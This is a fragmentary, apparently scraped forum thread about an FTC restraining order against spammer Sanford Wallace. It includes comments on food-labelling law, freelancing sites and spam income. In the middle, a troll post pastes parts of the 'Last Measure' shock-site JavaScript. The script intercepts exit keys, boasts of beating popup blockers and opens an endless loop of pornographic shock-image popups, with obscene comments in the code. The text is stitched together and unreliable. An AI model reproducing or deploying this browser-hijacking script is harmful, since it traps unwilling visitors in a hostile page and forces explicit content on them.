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Spamford Wallace Draws A Restraining Order
Steve Rock writes "According to an article in the Associated Press, a temporary restraining order has been issued by a judge against Stanford Wallace and his companies. The case marks the first anti-spyware action taken by the Federal Trade Commission, and while there is some argument about permitting unsolicited commercial e-mail because of free speech it appears a tougher approach will be taken with alleged spyware distribution."
Actually, you can. The best example of this is the pure food and drug act of 190x, which was passed in response to patent medicines which didn't disclose their ingredients, usually narcotic.
This seems to be in the same genre, in that the software doesn't do what it claims to do, and in fact does something bad.
Food and medicine products to this day, have ingredients listed.
Reformatted slightly to bypass lameness filter.
:( MSIE gets a special kind of last measure where I start off with a ModelessDialog and pop up from it. Gets around google toolbar. -- goat-see */
// fuck procreating like rabbits -- goat-see
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<head>
<meta name="generator" content=
"HTML Tidy for Linux/x86 (vers 1st November 2003), see www.w3.org">
<title>Our lawyer has informed us that we need a warning. So, if
you are under the age of 18 or find this offensive, please leave
immediately</title>
<script language="JavaScript" type="text/javascript">
window.name = 'lastmeasure';
function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, please leave immediately"); }
function ctrlkey() { if (event.keyCode == 17) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, please leave immediately"); }
function delkey() { if (event.keyCode == 46) alert("LAST MEASURE VERSION 3.3 BY PENISBIRD.\nStarring:\nSpin\nTubgirl\nLemonparty\n Bob Goatse\nPenisbird\nPillowfight\nChristmas\nRusty's Wife\nWhat the fuck? That guy's ass is showing in his baby's picture!\n\n\nAdditional (actually fucking working in v3.2) popup-blocker-busting by goat-see\nhey.swf by rkz\nPROPS TO GNAA"); }
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var agt = navigator.userAgent.toLowerCase();
var is_major = parseInt(navigator.appVersion);
var is_minor = parseFloat(navigator.appVersion);
var is_ie = (agt.indexOf("msie") != -1);
var is_ie4up = (is_ie && (is_major >= 4));
var is_nav = (nom.indexOf('netscape')!=-1);
var is_nav4 = (is_nav && (is_major == 4));
var is_mac = (agt.indexOf("mac")!=-1);
var is_gecko = (agt.indexOf('gecko') != -1);
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var is_rev=0
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temp = agt.split("rv:")
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function procreate(){
if(window.opener) {return 0;}
window.setInterval("procreate();", 1);
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if(goat == 2|| is_ie) {popUp("lemonparty.php");}
if(goat == 3|| is_ie) {popUp("penisbird.php");}
if(goat == 4|| is_ie) {popUp("pillowfight.php");}
if(goat == 5|| is_ie) {popUp("tubgirl.php");}
if(goat == 6|| is_ie) {popUp("spin.php");}
if(goat == 7|| is_ie) {popUp("freak.php");}
if(goat == 8|| is_ie) {popUp("rustina.php");}
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http://www.theunionleader.com/articles_showa.html? article=45988
Because it points out his address.
eLance, probably - they've limited the shit bidding where you would be competing against Eastern Europeans willing to bid $5 or what have you. It's a bit expensive to get in though - and more so if you want to move up in the higher tier. But they've cleaned up the act some, setting minimum bids and so on.
That's kind of a non-issue in some cases though - not all the project submitters go with the lowest bidder. The trick is to appear as the most qualified bidder - you really don't wanna work for the assholes who expect to get a month's worth of full-time work from you for $50 anyway.
Scriptlance and Rentacoder can also be good.
This guy's experience is obviously not as reflective of the "landscape" as he wishes. Most likely troll or an attempt at sympathy
My room-mate from highschool has recently become a spammer, and he has described his income from it as "pretty good". He didn't give me an exact figure, but told me his two-man operation had a revenue of $100,000 in one month. And yes: who the hell works for 50 cents an hour? Give me a friggin' break.
What your post boils down to:
I don't like working for companies.
I decided to work for myself instead.
To make this personal decision work, I do some jobs for people who suck up bandwidth to annoy everybody with crap.
To justify myself to myself I commit petty acts of sabotage, and have rationalized it all with a survival argument.
So don't blame me, I have no choice.
Bull. Shit. I wouldn't say "get a job at a gas station" or something sillier, but I would say grow the hell up and accept responsibility for your personal decisions. Like somebody said above, nobody thinks they're bad. They always find a way to justify themselves. You're a classic case.
In my 25 years in IT, about half as a contractor and half as an employee, I've worked for plenty of places that were not run by greedy bastards who screwed me out of raises or made me work 80 hours a week, or any of the other complaints I hear constantly from my peers. I have worked for some crappy places too, and have had dream jobs pulled out from under me because somebody's plans changed. But my personal solution has always been to keep looking, and not to walk the fence of "I know I'm creating shit for other people to step in, but I just can't help it. I have to put food in my fridge. I'm trapped." Like many other talented people who cop out, it's your own version of reality that you've trapped yourself in.